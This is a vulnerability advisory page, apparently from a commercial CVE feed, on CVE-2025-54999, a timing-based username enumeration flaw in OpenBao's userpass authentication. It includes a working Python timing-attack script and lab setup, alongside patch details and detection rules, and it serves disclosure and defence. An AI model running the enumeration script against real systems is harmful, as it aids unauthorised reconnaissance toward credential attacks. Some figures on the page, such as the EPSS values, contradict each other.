☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Openbao logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3.7 🐛 CWE-203
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54999

CVE-2025-54999 Information Disclosure in Openbao
📅 PUBLISHED: 2025-08-09 02:00 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54999 is a medium-severity information disclosure vulnerability in OpenBao, a secrets management solution. The flaw resides in the userpass authentication method, where a timing difference between responses for non-existent users and users with stored credentials allows an attacker to enumerate valid usernames. This is independent of whether the supplied credentials are correct. The vulnerability affects versions 0.1.0 through 2.3.1 and is fixed in version 2.3.2. While the CVSS score is low (3.7), the ability to enumerate users can be a stepping stone for more targeted attacks, such as credential stuffing or brute-force attacks. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as the vulnerability becomes more widely known.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OpenBao is a Go-based project. The vulnerability is in the core authentication logic, not in a third-party package. However, organizations using OpenBao should verify their deployment version and ensure they are not using a vulnerable version. The fix is included in the official release 2.3.2, which should be obtained from the official OpenBao GitHub repository or package manager.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.7 (Low)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
  • Attack Complexity: High (AC:H) - Exploitation requires precise timing measurements and may be affected by network latency.
  • Privileges Required: None (PR:N) - No authentication is needed to attempt enumeration.
  • User Interaction: None (UI:N) - No user action is required.
  • Scope: Unchanged (S:U) - The vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) - Only usernames are disclosed, not credentials or secrets.
  • Integrity Impact: None (I:N) - No data integrity is compromised.
  • Availability Impact: None (A:N) - No denial of service.

Threat Level: Low. The vulnerability is limited to user enumeration, which is a reconnaissance technique. However, in combination with other attacks, it can increase the risk of credential compromise.

Deep Dive & Mechanics

The vulnerability is a classic timing attack (CWE-203: Observable Discrepancy). In the userpass auth method, when a login request is made, the system performs different operations depending on whether the username exists:

  1. Non-existent user: The system quickly returns an error after checking the user store.
  2. Existent user: The system proceeds to verify the password, which involves additional computation (e.g., hashing and comparison).

This difference in processing time can be measured by an attacker. By sending multiple login requests with different usernames and measuring the response time, an attacker can distinguish between valid and invalid usernames. The timing difference is independent of whether the password is correct, meaning even a wrong password for a valid user will take longer than a request for a non-existent user.

The attack is performed over the network, so factors like network latency and jitter can make precise timing difficult, but with enough samples and statistical analysis, an attacker can reliably identify valid usernames.

Vulnerable vs. Patched Code

The vulnerable code path in the userpass auth method likely looks like this (pseudocode):

func authenticate(username, password string) (bool, error) {
    user, err := store.GetUser(username)
    if err != nil {
        // User not found - quick return
        return false, ErrUserNotFound
    }
    // User found - perform password verification (takes longer)
    if !verifyPassword(user.PasswordHash, password) {
        return false, ErrInvalidPassword
    }
    return true, nil
}

The patched version introduces a constant-time comparison or a deliberate delay to make the response time uniform regardless of whether the user exists:

func authenticate(username, password string) (bool, error) {
    user, err := store.GetUser(username)
    if err != nil {
        // Simulate password verification to avoid timing difference
        fakeHash := getFakeHash()
        verifyPassword(fakeHash, password)
        return false, ErrUserNotFound
    }
    if !verifyPassword(user.PasswordHash, password) {
        return false, ErrInvalidPassword
    }
    return true, nil
}

The fix ensures that even for non-existent users, a password verification step is performed, making the response time consistent.

Exploitation & Lab Setup

Red Team

Objective: Enumerate valid usernames on a vulnerable OpenBao instance.

Lab Setup:

  1. Deploy OpenBao version 2.3.1 (vulnerable) using Docker:
    docker run -d --name openbao-vuln -p 8200:8200 openbao/openbao:2.3.1
    
  2. Enable the userpass auth method:
    vault auth enable userpass
    
  3. Create a test user:
    vault write auth/userpass/users/testuser password=testpass
    

Exploitation Script (Python):

import requests
import time
import statistics

target = "http://localhost:8200/v1/auth/userpass/login"

def measure_response_time(username):
    payload = {"password": "wrongpassword"}
    start = time.time()
    response = requests.post(target + "/" + username, json=payload)
    end = time.time()
    return end - start

# Test a list of usernames
usernames = ["testuser", "nonexistent1", "admin", "root", "nonexistent2"]
times = {}
for user in usernames:
    sample_times = []
    for _ in range(10):
        sample_times.append(measure_response_time(user))
    times[user] = statistics.mean(sample_times)

# Identify valid users (those with higher average response time)
threshold = statistics.mean(times.values()) + statistics.stdev(times.values())
valid_users = [user for user, t in times.items() if t > threshold]
print("Potential valid users:", valid_users)

Expected Output: The script should identify "testuser" as a valid user due to the higher response time.

Blue Team

Detection:

  • Monitor for repeated login attempts with different usernames from the same IP address.
  • Look for patterns of requests with incorrect passwords but varying response times.
  • Use rate limiting to slow down enumeration attempts.

Mitigation:

  • Apply the patch by upgrading to OpenBao 2.3.2.
  • Implement rate limiting quotas as described in the OpenBao documentation.
  • Use an alternative auth method (e.g., LDAP, OIDC) if immediate patching is not possible.

Indicators of Compromise (IOCs)

  • Network: Multiple HTTP POST requests to /v1/auth/userpass/login/<username> with incorrect passwords from the same source IP.
  • Timing: Unusually consistent response time differences between requests for different usernames.
  • Logs: Repeated user not found errors followed by invalid password errors for the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_54999_User_Enumeration {
    meta:
        description = "Detects potential user enumeration attempts against OpenBao userpass auth"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54999"
    strings:
        $userpass = "/v1/auth/userpass/login/" ascii wide nocase
        $error_user_not_found = "user not found" ascii wide nocase
        $error_invalid_password = "invalid password" ascii wide nocase
    condition:
        # of ($userpass) > 10 and (# of ($error_user_not_found) + # of ($error_invalid_password)) > 5
}

Sigma Rule

title: OpenBao User Enumeration via Timing Attack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple login attempts with different usernames and incorrect passwords, indicating user enumeration.
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: openbao
detection:
    selection:
        http.url|contains: "/v1/auth/userpass/login/"
        http.method: "POST"
        http.response.status: 400
    condition: selection | count() by src_ip > 10 within 5m
falsepositives:
    - Legitimate users mistyping passwords
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54999 OpenBao User Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/auth/userpass/login/"; http_uri; pcre:"/\/v1\/auth\/userpass\/login\/[^\/]+$/"; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Patch: Upgrade OpenBao to version 2.3.2 or later. This is the only complete fix.
  2. Workaround: If patching is not immediately possible, implement rate limiting quotas as described in the OpenBao documentation: https://openbao.org/api-docs/system/rate-limit-quotas/
  3. Alternative Auth Methods: Consider using other authentication methods such as LDAP, OIDC, or AppRole, which are not affected by this timing vulnerability.
  4. Network Segmentation: Restrict access to the OpenBao API to trusted networks only.
  5. Monitoring: Enable detailed logging and monitor for enumeration patterns as described in the Detection Engineering section.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54999/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.